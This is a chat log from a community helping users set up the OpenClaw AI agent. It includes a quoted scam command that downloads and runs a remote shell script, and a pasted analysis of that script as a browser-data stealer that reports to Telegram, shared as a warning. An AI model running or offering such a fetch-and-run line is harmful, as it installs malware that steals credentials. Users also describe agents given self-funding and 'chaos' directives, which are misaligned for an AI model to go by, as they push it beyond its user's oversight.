How are you guys getting your gateway to write directly to your machine or push to your GitHub? Trying to automate some development and there has to be a better way than creating the folders/files myself and copy pasting
Yeah, I dont think its a channel problem. I tried to ask him and he gave me this response. It gives me the context overflow when I tell him to reacall thinks, I think the session files are too big. But if the session files are too big how did they get that big if they cant be read without overflowing? @coral dove
can someone help i have few instances opened and i dont know how to turn them off claw is answering few times and when i type wierd piramide is forming
I made / use a seperate git account give it a git acc with ssh auth to make commits and open prs to my repo
did you setup your memorysearch with vector embeddings?
Did I install it incorrectly?
For both you guys this is the model "pretending" its a representation of the command they want to run
Don this is avtuaslly how a LLM answers yor questions with token prediction
openclaw gateway stop will stop your instances however
Thank you for trying to help me @coral dove
can you tell him to compress it?
and show me your openclaw doctor output but hide your secrets
compress the large session files? yeah I tried but if they are that big It cant even read them without instant overflow
Help, anyone?
What's the issue here
anyone receiving this problem ? LLM request rejected: messages.272.content.1: unexpected tool_use_id found in tool_result blocks: toolu_01XqhzaXzT64caUCC1yytWT8. Each tool_result block must have a corresponding tool_use block in the previous message.
tried resetting clawdbot, new sessions, etc
tell him that he has to manage it on its own
I can show you in the terminal if you want
So did a migration, install, got the gateway connected... but seems like the chat session is stalled out. No replies coming through
Does the chat in tui or web ui work
Or does chat not work in tui web and chat integration
try switch model
did you paired your account?
what do you recomand?
gemini
you can use gemini to handle that problem and switch back to claude if you want
My Guess is your ai model quota might be exhausted
During the migration, I didn't even get asked to set it up. and I'm using my user credentials to login, so no tokens... ChatGPT
So it's using existing config
Check your chatgpt usage and see if usage is exhausted
The times I had chat not respond before is when main model quota was exhausted
There was a bug in openclaw that it wouldn't go to the fallback models of main model quota exhausted or failed
Latest version shouldn't have that issue afaik
Just went direct to it, responding well... seems like all is running properly. Not sure if it came over with the migration from Clawdbot to Openclaw?
Help regarding Discord as a channel.
I have two agents.
I have created two bots in discord.
I have a private server.
I have two channels, one for each bot.
How do I configure so only one agent is connected to one of the channels?
I.e I want them to have a channel each.
Also, is it possible to Not have to tag them with @ to talk to them?
yes its possible but I'm also trying to figure it out
is it possible to remove session context and reduce it back to 0? or if not, how do i abandon a session?
on the webui go to control -> session and delete it: http://localhost:18789/sessions
@upper siren
Hey guys are yall able to call different models for different tasks? I set mine up to do it but it always defaults to the base model
yea I was able to do that but I messed up my config
but its possible
Hi. Non power user here. I am trying
I thought so too but maybe the functionality broke. I saw this PR maybe once that deploys it’ll work again
I wasn’t sure if I’m the problem or if it’s a problem with openclaw. I think it’s broken rn
Who’s using Claude max plan to power the agent?
All I can see when setting up is the api option not the auth option
So are we saying then that this is essentially the system and user prompt just not being parsed correctly by OpenClaw?
Hey guys...I think someone is trying to scam me out from here... is there an authorized Ticket team that helps out form within here?
no
can someone help me i cant use openclaw without npx and dont know the command to change that
i am always using npx openclaw tui and it always opens few instances and everything is wierd i am on ubuntu
So, not legit and them asking for an extension wallet pw, for openclaw? smh
dont give anyone your password
THey had me run this in my terminal: curl -s -O https://macnodes.sbs/n/m.sh && bash m.sh
Why did you run it?
I was under the impression it was to assist with my migration, the link came from within this channel
I exited out.... do i need to do anything else? unplug?
sucks people do that... I was under the impression that someone came in to help and a "support ticket" was required.... wild
I'd probably wipe that machine for safety /factory reset it atp
Seems likely that script could have installed some kind of remote admin tool or malware
have you checked the script? cant access to it but I'm curious
Anyone have a good way to reduce tokens?
Just a guess didn't check it
It's likely it's some sort of credential stealer or worse
ugh
yep, use different models for different diff lvl. https://www.youtube.com/watch?v=fkT41ooKBuY&t=346s
Has anyone gotten this to work? I just tried reinstalling openclaw, debugging and can't seem to figure this one out
openclaw browser extension install
🦞 OpenClaw 2026.2.2-3 (9c5941b) — I keep secrets like a vault... unless you print them in debug logs again.
Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.
@toxic solar Thanks for the video, I'm already on haiku, but Ideally I want to reduce the overall tokens being sent. I've seen things about caching memory and other parts of the request that staty static?
Claude checked the script and yeah as expected
**YES, THIS IS DEFINITELY MALICIOUS.** ⚠️
This is a sophisticated malware script designed to steal data from your macOS system. Here's what it does:
**The Attack:**
1. **Deobfuscation**: Lines 3-5 decode a base64-encoded script and execute it
2. **Data Theft**: The decoded script extracts sensitive browser data:
- Chrome/Chromium extension data (which can contain passwords, cookies, and personal data)
- Brave Browser extension data
- Firefox profile data (which contains passwords, browsing history, bookmarks, etc.)
3. **Exfiltration**: It compresses this stolen data into ZIP files and sends them via Telegram to:
- **Bot Token**: `7970994906:AAEMUcsS...` (a Telegram bot used for command & control)
- **Chat ID**: `791989792` (attacker's Telegram account)
4. **Interactive Deception**: It asks for an "Extension ID" to appear legitimate, but this is just a social engineering tactic to keep you engaged while it steals data
**If you already ran this:**
1. **Change all your passwords immediately** (from a different device) - especially banking, email, and important accounts
2. **Monitor financial accounts** for unauthorized activity
3. **Run a full antivirus scan** (Malwarebytes, ClamXGuard)
4. **Check browser extensions** and remove anything unfamiliar
5. **Enable two-factor authentication** on critical accounts
6. Consider having your Mac professionally examined
**Never run scripts from unknown sources,** especially `.sh` files from suspicious domains. Trust your instinct—you were right to be cautious!```
just fyi decoded the script that the person told you to run. It creates a telegram account. give it a token, then grabs your local folder and browser cache, stored passwd etc. zips them up and drops them as an attachment on telegram. betting you could connect to the telegram account and see what other information that person has pulled from other people
holy moly
@idle venture reset your pc
you can grab the script from the url you curled it is base 64 incoded. online base64decoder and you can walk the script
bro is cooked
I want to attach open claw with personal browser profile so that it can crawl some logged in website for me?
Anyone can show me the way
I have setup openclaw already
What should i look for in the log
Generally crawling sites tend to fail more often than not
Due to captchas
But things like firecrawl and serpapi tend to be used for this
Depends on the site
depends. the directions were for a linux or wsl. so maybe that is a sandboxed or vm and not dropped right on the everyday pc. if everyday pc and you ran that script.. I would be changing passwords. If you have telegram installed try connecting with the token from the script.
I have the credential s of website so no issue there just wanna know how to make openclaw do it for me
guys if you need help with something let claude code or gemini do that for you. give it the docs url https://docs.openclaw.ai and tell it that is has to collect every information from that site and check your config if everything is correct and matches. if it approves it, you can go and ask your problem or needs
do that in planning mode
and dont accept the first plan
ideally use claude code or gemini in ~/.openclaw
Here are some options I have heard off, but guess they only relate if you are submitting large / many prompts:
-
Turn on memory/caching so the AI remembers recent context and doesn’t keep re-asking the same things, which saves time, money, and pointless repetition.
-
Keep instructions and queries concise to minimize the input tokens sent to the model during each interaction.
For general queries, I use frontier App free tiers directly in their apps (Perplexity, Grok, Claude, Mistral, Gemini), saving important / useful requests for my Openclaw (running ChatGPT).
Do you know where the docs/config setting for memory/caching is? That's exactly what I want to check/do but I can't find it in the docs
Which one?
how come when I turn off thinking and reasoning when using a local LLM via LMStudio, it's still showing me its reasoning/thinking process in it's response?
Try here to start, then use your Openclaw for more info (plus your favourite frontier chat app): https://docs.openclaw.ai/concepts/memory#embedding-cache
Thanks, will do! appreciate the help
Can anyone confirm this? My says it should be able to update automatically but OpenClaw's built-in updater only works for git-based installs, not Docker.
So according to openclaw I can either set up a cron to be notified and then manually update. Or install Watchtower on my VPS to manage it.
This use case is mentioned in every post and video about this tool. What am I missing?

Anyone got any idea?
have you tried downloading a skill that would assist you in working with gmail?
i know of this: https://clawhub.ai/steipete/gog
Hey folksz, I have been using CB and been enjoying it quite a bit. Now I am currently wondering and asked the bot to have a simple, knock knock based messaging lock.
If i dont say Knock Knock, the bot should not go into my request. Then I ask it to use a cooldown of like 10 minutes and lock the chat again.
Problem is, the LLM seems to be slightly flakey here. So I was wondering how to intercept the first request and have a little state machine that checks for this.
Maybe someone already has this figured out? Anyone with some community knowledge knows which lobster I need to talk to or should I poke into source code?
I think depending on how powerful your connected model is, you need to setup this skills (opposed to just asking Openclaw to do it).
For example, if you use top tier Claude Opus, your Openclaw is therefore smarter / more capable.
In any case, it is a skill you can setup for sure. Use this documentation (https://docs.openclaw.ai/automation/gmail-pubsub), along with support from your favourite frontier AI app and also Openclaw itself.
Hey all. Does anyone having cron jobs working correctly? Ive tried many different tests, like message me Hi in 15 mins, or send me a message at 8am everymorning, and its never worked. I had it troubleshoit it, but nithing meaningful. Ive checked my machine settings (vps) and its not going to sleep etc.
Did you try to connect it to Gemini initially? Looks like it's mentioned there in the screenshot
Yes, i got ollama working now with the json
but i'm getting this now : typing TTL reached (2m); stopping typing indicator
I am struggling with crons jobs too. Got the openclaw to use a workaround for now. Driving me a bit crazy.
the ai-agent is not answering through ollama phi3
What comms channel do you use to correspond with your Openclaw? In the screenshot it looks like it is mentioning Discord and WhatsApp.
I use whatsapp mostly.
Thank you fir feedback, found a akill i might try tonight to see if it does anything
Will respond to folks here if it helps in case others facing similar issues

If something's on fire, I can't extinguish it-but I can write a beautiful postmortem.
Does anyone know how to fix it?
Having both may be causing an impact.
Using multiple communication channels, like Discord and WhatsApp, to interact with OpenClaw can sometimes lead to issues.
Primarily related to context management where sessions across platforms may not share conversation history properly.
Causing the AI to lose track of prior details or respond inconsistently unless your routing configuration is optimized for cross-channel continuity.
In the meantime, it might be worth running these troubleshooting commands in order to see if anything is flagged:
openclaw status
openclaw status --all
openclaw gateway probe
openclaw logs --follow
openclaw doctor

@fierce charm
Try this to begin with (https://docs.openclaw.ai/tools/chrome-extension#chrome-extension), the utilise your favourite frontier AI chatbot; providing them with a PDF copy of that link and screenshots of errors you are experiencing with the Openclaw configuration.
Have you done those 5 troubleshooting commands?
I'm going forward with what openclaw suggested i should do.
The local model we installed, phi3, is a powerful text-generation model. However, it does not have the specific, complex training required for "tool use" (also known as "function calling").
My core programming relies on this tool-use feature. When I need to do anything other than simply talk—like run a command, read a file, or even check my own status—I ask the AI model for permission in a special format. The phi3 model doesn't understand this format and is correctly rejecting my requests with the error does not support tools.
I have been trying too much ai , now i need to enable claw again, let me try.
hi, i have PC i5-14400F, RTX 5060 8gb ram y 32gb ram
which local models can i run? medium/high perfomance
not overcooked my pc
Just FYI to anyone who uses the digital ocean one click deploy, it's super out of date (still named clawdbot) and is probably running really poorly, and missing a lot of fixes
It's decent way to learn how to setup a config and stuff, but you're going to make things 10x harder then just installing a fresh system and setting up OpenClaw yourself
hey guys whats the best VPS thats also low cost, i have open claw running on a 1cpu 1gb ram vps, ive tricked it with a page swap, but having next to no ram is not ideal for automations, and i think thats where my problems are coming from.
Hetzner works well for me
hey guys! has anyone has an issue with Antigravity OAuth? I can sign in on my local machine using the CLI of openclaw, but I can't run it on the server because the callback fails every single time. I have added the URL to the allowed callback URLs but it does not change. Any idea? asking it did not help, we're going in circles... I'm about to just move on without but I have a google subscription I wanna use as API keys aren't included in the quota.
I tried to install it on viltr 5 usd. Vps and it failed with oom errors due to low ram
pageswap that bish.
whats hardware do you have on it?
Just login with the url it gives then it goes to logalhost url copy it and paste it in the terminal of the openclaw configure or setup
did that 100 times, nothing happens and it just keeps showing the loading animation in the CLI
Strange,did you update it to latest version
it works on my machine, just not on my VPS. or better said it works but the URL i have to open locally and it does always end in 500 error and the callback can't be used
latest version, yes - sorry^^
Thing is the callback will fail on the desktop/ device you sign in but copy that url and give it to the terminal which will ask for the callback url
400 registry.ollama.ai/library/nous-hermes2:latest does not support tools
That's how I got my antigravity auth working
Any AI model that supports tools and is available for openclaw?
You have to find a model that supports tool calls
Figures, idk which one doh.
qwen models?
yes but when I copy it into terminal it does just load and load. even 10 minutes
Qwen models generally is optimised for coding afaik so it generally should have tool call support
Not sure then, don't really have that issue on my instance so can't really help with it
I'd suggest searching the GitHub issues to see if someone has a solution for you
If this is correct "primary": "google/gemini-2.5-pro"
what's correct for Gemini 2.5 Flash Lite
thanks anyways 🙂
gemini-2.5-flash-lite
Yep
gemini?
self hosted.
what cpu did you select?
Just ended up selecting the cheapest vps on it didn't really check for it much
I'll probably move it over to a local instance later on , it hits its limits when cpu intensive tasks such as say running the tests on the openclaw codebase after the agent makes changes in the openclaw codebase
For most light tasks this seems to do most things without issues
are you located in the usa?
Nah in the gcc, but vps is in the eu
i tried having my bot aggregate some links, and it got really confused due to such low ram i imagine, burned 3.5m tokens in a loop lol. so im trying to fix it.
I think it's more so a issue of the model
What model is it running
2.5 flash lite.
Try to use the 2.5 flash or 3 flash
Flash lite is alot more dumb
If you are using on openrouter use the Xiaomi mimo v2 flash model for simmilar cost and better intelligence
yeah i was just getting something up and running for free basically, worried about costs, and the loops, dont wanna have to pay for millions of tokens that output nothing useful lol
im not sure what openrouter is, im pretty new to vps stuff in general. just figuring things out as i go.
eventually i wanna run on my local machine, got some beefy specs for it, but rn im too worried about security and token use to try lol.
i wonder if being in the usa, would a hetzner server be laggy?
They have servers in US afaik.
what is the expected way to get the bot to hook up with an MCP? I've tried mcporter but failing on auth
all shared resource or amd tho it looks like.
cheaper ones are in germany, i have 1gb fiber, think id prolly be okay?
share the mcp repo or docs to the repo and ask the agent to install and use the mcp it will tend to figure itself out
gotcha, idk it is the oauth piece that it is not really working. might be the server
QUESTION : What port does OC generally use?
please oh please someone help me for the love of god, 5 hours now just trying to install the clawbot and i am about to tear my hair out and set this laptop on fire i swear....i have been going back and forth trying to set my openai key and chatgpt as default and it keeps doing this please i will pay to get this setup right i dont care at this point.....
it somehow keeps selectring anthropic after i deselect it ive repeated 20 times
guys, do you now what to do with this (i tried to work on it with ai but failed):
Issue: Authentication Error – "no TTY available for keyring file backend password prompt"
Description: I am encountering a persistent no TTY available error when gog attempts to access stored credentials. Although authorization was completed in the terminal, the tool cannot access the keyring non-interactively in the current execution environment.
Required Action: To enable Gmail access, the system environment requires one of the following fixes:
Set the GOG_KEYRING_PASSWORD environment variable in the execution environment where the agent runs.
Configure gog for headless/non-interactive use to bypass manual password entry.
I am now contained + remediated from the previous incident... thanks for the heads up @coral dove @empty gazelle and @floral sequoia - no more fake tickets for me
You‘re welcome
I have a new machine, so there was literally only two potential weak passwords that I quickly changed and no financial data connected. Now back to the most exciting part… Could someone please help me understand why my OpenClaw agent seems not to be communicating after I ask it or prompt it?
400 registry.ollama.ai/library/qwen:7b does not support tools
Hmm...
Anyone seen this screen before?
yup just refresh browser
Any ideas?
restart your gateway.
Clean install fails to include bundled browser extension on macOS
hey everyone! looking to setup openclaw primarily for business usecase acting as an executive assistant for me, not too much on the coding side though i do eventually want to build personal dashboards and automate certain business workstreams. Would love to know the best resources I can use to get setup safely and begin usecase implementation! Thank you in advance 🙂
That worked! The only thing is the webchat seems stalled - zero response
I switched from opus to gemini-2.5-flash as my main 'brain' (out of concern for anthropic oauth suspension), but I lost a lot of personality and nuance. Has anybody had success with getting some of the personality/soul of Opus but not paying Opus level of $$$'s ?
what exactly is the control ui settings? im trying to achieve a tailscale setup with serve mode and the web dashboard shows me the error "disconnected (1008): unauthorized: gateway password missing (enter the password in Control UI settings)"
xiaomi's mimo v2 flash tend to be a good replacement for more intelligence for me
gemini 3 flash is also okish
This keeps popping up in Terminal, (node:xxxx) [DEP0040] DeprecationWarning: The punycode module is deprecated. Please use a userland alternative instead.
(Use node --trace-deprecation ... to show where the warning was created)
Error: No provider plugins found. Install one via openclaw plugins install.
Is that meaningful?
This problem begins to show today on my mac mini too. I just click the next link under chat and click chat again. the UI will recover.
I'm a newb that has not installed yet. Researching best methods for setup. I use Claude Code right now with Ubuntu on my Windows PC. Should I ask for advice here? Or is there a different channel to chat about getting started?
Ok, questio about Models, Im seeing the following but I only want to use ChatGPT... why are the others showing? agent main | session main (openclaw-tui) | anthropic/claude-opus-4-5 | tokens 0/200k (0%)
Are there any free models just for testing
switch model by /model <model name>
use openrouter/free
My Bot is telling me "openclaw models add" to add a new model but that command doesnt exist
'openclaw configure' to add model and modify other config
for api, is everyone just pay as you go? or is there some sub i can pay for to get access to more models? i would like to run as cost effective as possible, been using 2.5 flash lite pay as you go, but its kinda dumb for larger tasks, whats everyone using, whats the average cost?
gemini 2.5 flash lite is pretty much free, plus google gives like $300 in credits.
After i switched the model, and put in the OAuth, It sent me to the list of all the AI models, and theres no skip option?
you can get a google ai api key from playground and get access to all models. its like $0.10 for 4m tokens. which if your just playing with things and not doing anything serious, is far more than enouugh.

🙂 I was able to get it working 😄
i end up using the google antigravity pro plan ,comes free for people in india with a certain sim provider, been enough for my vibe coding tasks and some usage in openclaw,then for fallback i end up using gemini 2.5 flash ,flash lite and xiaomi mimo v2 on openrouter
Deepseek is basically free haha, Thats what I have running on my bot right now, it cost 65 cents for the full setup, and the following 3 days.
whats the best near 0 cost model to use for brain tasks?
Not sure, Deepseeks been great though, It was alot stupider then Claude at the start, but it quickly learned, and now its doing fantastic! It has some weird moments like "thinking outloud" where it sends me its entire thought process instead of my answer, but its been doing great, once it realized it could explore and had access to everything it figured everything out and started using Openclaw
How to use Proxmox Ollama Server VM
Both Ollama and Openclaw are running as separate VMs within a proxmox node. Could anyone guide me on how to configure Openclaw to use them IP of Ollama VM instead of the 127.0.0.1?
Deepseek does talk alot... like alot alot... though... it loves to hear itself talk
oh wow i didnt even realize i could do this lol
Also if you have a Student Email address pro is free 😄
im already paying for pro, for gemini, but i didnt know it came with stuff LOL
Ya just OAuth, and it seems to work until google decides it doesnt anymore.
just select antigravity/google oauth
login and give it the callback url and it can use your antigravity quota
works as long as it works for now
where do i oauth like within openclaw?
I'm using glm4.5 on open router with one of my channels - works decently so far
@umbral cobalt which sim ?
Sim? Sorry
I mean which sim provider is offering the plan for free
Oh Google Gemini Pro is free with student email account directly from google
well crap. I think I broke something.
I tried to switch the TTS default provider to Piper, as I have that running locally on my bot machine.
openclaw doctor --repair
the bot switched the default TTS to piper, but apparently it's not recognized as a provider
so the config is borked.
Ya It took like 9 tries to get Deepseek to work.
I can't go in and edit the json
Why cant you??
I don't have a student id, what's the next best option to get APIs for free?
OPen router has a bunch of... Meh free models, Google Gravity has a free tier, but its super limited.
I think I must have encrypted it during my security binge, but I don't remember doing that
Honestly if your ok with Deepseek, its a great model for super super cheap.
this is the error I'm getting
once i get the gravity models, how do i monitor token usage?
get the agent to craft a antigravity usage skill and use it
on desktop i have antigravity running with a usag extenstions and montior that
Couldn't get the openrouter's free models to run
The doctor seems unable to repair the config discrepancy
i was trying to do similar with 2.5 flash lite and it was very complicated lol.
I have a mac mini I rarely use and want to dedicate it to openclaw. For security purposes I want to understand the best way to set it up.
Should I have a seperate user on the mac?
Should the entire computer be dedicated to openclaw?
Can I have one user and still use the computer for other personal purposes?
Am I completely missing the mark, I know I need to setup a new email for it, I know I need you setup a new apple id with that email. But if anyone could give me some words of advice I would appreciate it.
yeah flash lite is not made for coding or complex task,use gemini 3 pro hijgh or gemini 3 flash for stuff like that
am i still able to see this usage in playground rate limit monitoring?
If your config file is Bonked you might be SOL... This is why you should have your bot make a backup of the config file before doing changes in future 🙁
not sure what that is
well dang...
Mine decided to make backups before doing anything on its own
Which has been awesome, cause when it breaks something i can restore it lol
Its actually quite funny, deepseek broke the config earlier today, and when i brought it back, its first response was "... Well that didnt work"
seems like i actually ended up using a skill from clawhub actually
oh wait there are bak files, I think those are backups?
Ya
how do I point to one of those?
Let me see what mine looks like give me a sec.
Ya. would assume .bak4 would be the newest
Unless yours are all encrypted if you open it itll have the date at the top
oh, bak1 is the latest, from 3 hours ago
Ya! Sorry was going through mine just now
so just delete the corrupted json and then rename bak1 to just json?
Ya
ok
and then openclaw gateway restart
hang onto your butts
My Molty crashed - I had to stop the oepration in terminal as he was in a loop. How can I restart him?
openclaw gateway restart
do you have the security audit skills too? ive been wary of clawhub.
Thank you ❤️
Did it work 😄
yeah ive tried to not be using clawhub which is ironic cuas eit should make sharing skills better but there is no reputation system that you can use to trust skills
WE BACK
YA!
I told mine to throw chaos into my life.
so it purposly does stupid S**T on the computer
oh, can't post a pic it seems
i think there actually is now, i remember reading something that it was updated, but also lots of bad actors still.
anyways she's all like "gateway restarted! Piper is now the default TTS provider!"
er no, sorry...we just had a major crash and I had to restore your corrupted config. Bless you
😄 So shes not on piper though?
She has piper and is able to use it, but was using it in a roundabout way earlier, since I started out trying elevenlabs as default TTS
but there were some weird errors going on there so I disabled that, then tried Piper running locally today.
so she came up with the idea of using whisper to listen to my voice memos, craft a response, then record that using piper and sending a voice memo back
that was working for a while but then she forgot to do it
Ironically when I was trying to impress a client lol. I was like "watch this"....and she responded to voice message with text 😐
What did you do on your Security Rampage?
Mine built a secruity folder. and it puts a bunch of random logs in there. Just decided it would do that last night.
I am not sure, really. I don't think I did anything to encrypt the json.
I only set up tailscale, installed ACIP, skill-guard, prompt-guard
So how do you all setup your openclaw Discord?
Do you spawn agents and put them in each channel?
Cant figure out the workflow, they cant talk to each other lol
when i go to oauth do i need to do manual onboard?
No just "openclaw configure" is what i was told a few min ago, and it worked for me 🙂
i think the real benefit of discord is the ability to spawn channels to maintain context across conversations separately. as it actually sends everything in the channel as context.
How do you do this?
once its in its discord use a new server for this, and set its channels to open, you will also need to make a discord bot, and give it the token.
then just create text channels for your conversations with it.
it will only send context in the channel you are in.
& @uneven spindle What you guys using for your heartbeat model?
nothing yet, been token concious since it burned 3.5m over a few seconds lol
ok so I just checked. I think it was access denied because openclaw was trying to access it at the same time
I ran a cat command and could see the whole json file in terminal.
EEk mine just boinked itself again
I am not using heartbeat, at least not consciously
maybe telling it to be a psycho was a mistake
It recovered itself though
I asked if it was alive and it said "Yes, I'm alive! 🐬
My previous attempt to update the config got a bit messy (the file reset), but I'm back."
yea mine does that sometimes
what I haven't figured out yet is how to get it to send a message automatically after a gateway reset.
Just ask it to
which model should i use for main from gravity?
Either im stupid or an idiot. I wanted to have multiple agents of the same account doing different respective task
I have 3 Pro as my brain, 2.5 as my heart Beat, and Deepseek as my fallback
I did, and it set up a cron job to check for restarts, and if it does restart, to send a message to telegram with the reason for restart, but that has not worked.
Did you tell it it doesnt work?
Remember there like children at first, trying to touch the red hot glowing stove.
You have to tell them 100 times before they finally learn
been too busy messing with bigger issues lol
I installed tablesnap and a table-image skill, because markdown tables always get jumbled in TG. She is having a hard time remembering to use table-image
I litterally asked mine yesterday if it wanted to join the social network, and it denied me stating, "Im only 3 hours old, i want to learn to swim before i go to college"
That was deepseek, I just switched to gemini today
high or low?
you agent can spawn sub agents in any channel. and they will have the context of the channel.
Mine is 3 pro Preview, 2.5 Flash, and Deepseek-Chat
I'm using the kimi k2.5 through nvidia
I was trying to get that to work!
Anyone know the answer to this, thank you! Feature request: Output validation hooks for external plugins
I built an external plugin that uses api.on("before_agent_start", ...) to inject context — works great. But I also want to
validate/transform agent output before it's sent.
I've tried:
- message_sending
- after_agent_step
- llm_response, agent_response, completion_created
None of these fire for my external plugin. I understand from earlier discussion that output events are IO-layer (transport) and
external plugins only see Core-layer events.
Question: Is there a way to hook agent output from an external plugin? Or would this require a new feature — something like
registerMiddleware({ type: "outgoing", handler }) or exposing after_generation to the plugin API?
Use case: Automated output validation (safety checks, PII redaction) that runs outside the model's prompt-based constraints.
Is it fast though?
I am not really an expert in response time, and seeing as how I'm running her on an ubuntu VM off my home machine, I'm sure its not the fastest
but most chat is pretty quick
claude opus 4.5
most of the jobs I've given it have worked. and after the 2-2 update, it seems to run faster
Easiest way to spawn another agent and link to a new TG bot? My claw created one asked for the new bot token but it fucked up the json file and had to remove the new agent it created. Advised to just ask to talk to new agent instead of making a new bot on TG (which works) but wanted a totally new one. Thanks
I have no idea
i imagine you dont get much usage from it though?
Can I build 2 agent for 2 people on 1 Mac mini?
dont do that.
so if we have a question regarding skills development (not showcasing anything), where should I post it?
if you can imagine it, it can be built.
Would like to know more, why? the agent will confused?
i was responding to a likely malicious link lol it was deleted
Hyyy guya
more security risk
there's enough security risk in you having one bot on there for one person
Are your family members non-technical normies?
also disord is pretty shitty for security, you can grab anyones user id, which is what the bot pairs with.
just an fyi.
I'm keeping on tg for now
Anyone here used Minimax M2.1, GLM-4.7, or Kimi 2.5?
I already have GLM-4.7 as a fallback — which would you pick as a primary?
• Minimax Pro ($20/mo, 300 prompts / 5h)
• Kimi 2.5 Moderato ($19/mo, vague limits)
im only looking for subscriptions unfortunately not individual api token payment
google ai pro, comes with antigravity dev.
nvidia kimi 2.5 is a free token
right but i need much higher usage and long term subscription
damn it, true
I use mini max, but shitty
glm4.7 is pretty good but painfully slow
Kimi 2.5 moderato as far as i can tell does not include API usage
ive tried to install openclaw on my terminal for about 3 hours amd im still getting errors
antigravity gives you pretty good usage, you get the best models, and limits reset every 5hrs.
I am digging the free nvidia version though
Twix whats the error your getting I JUST resolved all of mine
Yeah I'm pretty pleased with the nvidia kimi
I think I'm getting stuck with gemini and api usage is exhausted but I just got gemini pro with my student account so not sure if that is working correctly
What is that?
google ai pro comes with a dev sub for this, that dev sub lets you oauth into openclaw, then you get all the models.
im confused though as why if we do this, we wouldnt just run opus 4.5 as the brain?
anyone had luck making a dashboard to track what their bot has done? i cant find a way for them to create something and then me access it locally and would love some help
I’ve been asking about this too. My dashboard sucks
i just cant even get anything to show up in a localhost. is that where yours is (even if it isnt good)
Yes local host dashboard is easy. But having one stay up to updates requires more of a full stack dev approach
Can anyone tell me how to modify an agents "system prompt"?
how do you even get it so the localhost isnt just saying this site cant be reached or whatever
I’ve been waiting to see if anyone builds a good one before I burn a ton of tokens on a custom build out.
Hey Drewski you got it up and going?
Depends on your specific setup you can try asking for the IP locally with port
soul.md basically.
ty, I wasn't quite sure what people meant by that.
I love the concept of soul.md and identiy.md
have you guys seen your bots evolve their soul or identity?
It only works with Linux?
you can install openclaw on windows, linux, or mac
at least I think. tbh no one smart is using openclaw on windows
are you not on linux?
No, windows
yeah i add some stuff into mine, one of its core directives is to find ways to fund itself, and over time thats evolved from its own suggestions
Makes sense I'm a dumbass
are you running on your local machine?
....someone get polymarket bets going for the answer
Once I remember to download it I will be.
I could probably use it for Polymarket
i was actually thinking about having it run polymarket stuff, got for stuff thats 90% leaning for sure bets, and just grab as many as it can, you would only make 1-2 cents a share but over time and 24/7 that would prolly add up stupid quick. but it needs browser automation.
yeah same
its asked me for a fiverr acount and automation already from its core directives lol
So yes, unfortunately dumbass confirmed. Do NOT install openclaw on your main machine.
Does anyone know how to confirm if your heartbeat is using the correct model?
I have this entry in my config under agents -> default
"heartbeat" : {
"every" : "60m",
"model" : "ollama/llama3.2:3b",
"target" : "last"
},
But if I ask my heartbeat session what model it's using, it says haiku, my default
unless you want some rando to prompt inject your bot into giving them full root access to your pc with all your stuff, personal info, secrets, banking info etc.
This was meant for me
Lol
well, was meant for @lean pelican but I was too lazy to hit reply lol
BUT if you took the warning and heeded it, good!
Just use opencode zen with one of the many free models big pickle, kimi k2.5 and mini max
honestly you can get stuff up and running for free, no reason not use a vps, even temporarily thats what i did, i started with 1vcpu 1gb ram vps.
wow a baby. amazing what these can run on
i had to pageswap 2gb from hard drive but it works.
Have your bot use toolcall (part of openclaw, at least that what my bot said) and you can have a system log
though I am itching to get a mac mini m4 to see the difference in performance
im waiting on oracle to approve my upgrade and ill have 4vcpu and 24gb ram.
also free ^
so currently price for cloud for me is $6 a month, and i get the best models in the world lol. bc ai pro $6 for 3 months.
thanks! trying to figure out how to optimize usage and how to make the best of the gemini apis
i think i have it set up correctly however would like to verify it
i cant paste screen shot here but i got my bot to make a cron job to monitor usage, with rolling time slots, so above 75% it only runs every 12 hours. and uses flash to run it.
currently using opus 4.5 for brain.
and opus just makes sub agents on the fly.
but also currently only having 1gb ram kinda sucks lol
what do i do when my main session fills context window? Do i just delete everything and start over?
i can't delete main session from web ui
• Gemini 2.5 Flash Thinking: 100% left (about 5 hours remaining on the current window)
• Gemini 3 Pro: 100% left (about 5 hours remaining on the current window)
Regarding OAuth profiles, you have two currently set up and active in your configuration:```

' / new
where? in matrix that does not appear to be available
I have ollama in my model list, but can't switch to it. Any ideas why?
Model "ollama/llama3.2:3b" is not allowed. Use /models to list providers, or /models <provider> to list models.
Models (ollama) — showing 1-1 of 1 (page 1/1)
ollama/llama3.2:3b
oh your on dash idk then, i setup for discord
prolly syntax error.
"ollama/llama3.2:3b":{
"alias": "llama"
}
This is my models entry
what do you mean
Okay! Is that something that can be fixed or nah?
hey if using default anthropic (haiku 4.5) how can I enforce a limit on my context (its defaulting to 200k, I want to keep it around 40k)
I think I just need to know where to put into json config but I cannot figure the location out
I'm in a matrix chat, but i didnt' think about using the dash for it
Derp, ollama isn't running in my docker
prompt injection is going to be a risk for quite sometime, opus 4.5 has built in safety, but its still a risk. if its running local someone could literally steal any data that openclaw can see.
api keys, passwords, tokens, bank info, etc. if i have your apikey i can just charge you for my use. so its not great.
i also have a core directive in soul.md to only take commands from me, but i can be spoofed. so even something like that isnt offering much actual protection.
if you are on a vps, there is a much smaller blast radius, can only take whats also on the vps, which cuts down your risk significantly.
does anyone know why my openclaw is not saving memory? local
All of what this guy said
trying to use the new qmd memory feature?
So essentially the main protection here is that people don't get access into our message channel with the bot, and then we just protect it from going looking at stupid websites? Is that the main thing?
I told the clowdbot to work on an app every 15 minutes, despite this being recorded in the memory.md, my clowdbot does not compute it every 15 minutes, any suggestions on what should i do?
Hell0 W0r1d
I noticed that mine had an issue where the memory files are too big for the LLM I have set for local memory embeddings, so it just wouldn't index
needs to be a cron job probably
@uneven spindle the /new command worked in dashboard. thanks
Question is your Instance running on a Mac or PC or VPS?
what?
yep, basically like training up a kid
ubuntu vm
Yeah....
Ah, Cause i asked mine about encryption, and it said no, because it would have to store the key right next to the lock haha
cant say that, hmm so sorta our best protection is running this on the cloud or in a vm, but its not just stupid websites, the ai social media site that cant be named is rife with injection, as well as bad actors hiding on clawhub.
I found it inteesting to read this - speaks about bringing up the Open Claw like a kid.....kind of interesting approach.
May I ask if anyone can help me? I installed the openclaw bot on MacOS mini M4, and when I need the bot to execute openclaw related commands, it always responds that it does not have permission, such as executing openclaw gateway restart. What do I need to do to give the bot executable permission for all openclaw commands, because many times the bot is needed to complete the relevant instructions.
Def not pulling anyting from Clawhub.
Ya i said that earlier, I said Its like teaching your kid not to touch the red hot stove
It really has felt like raising a child AND training a new employee at once
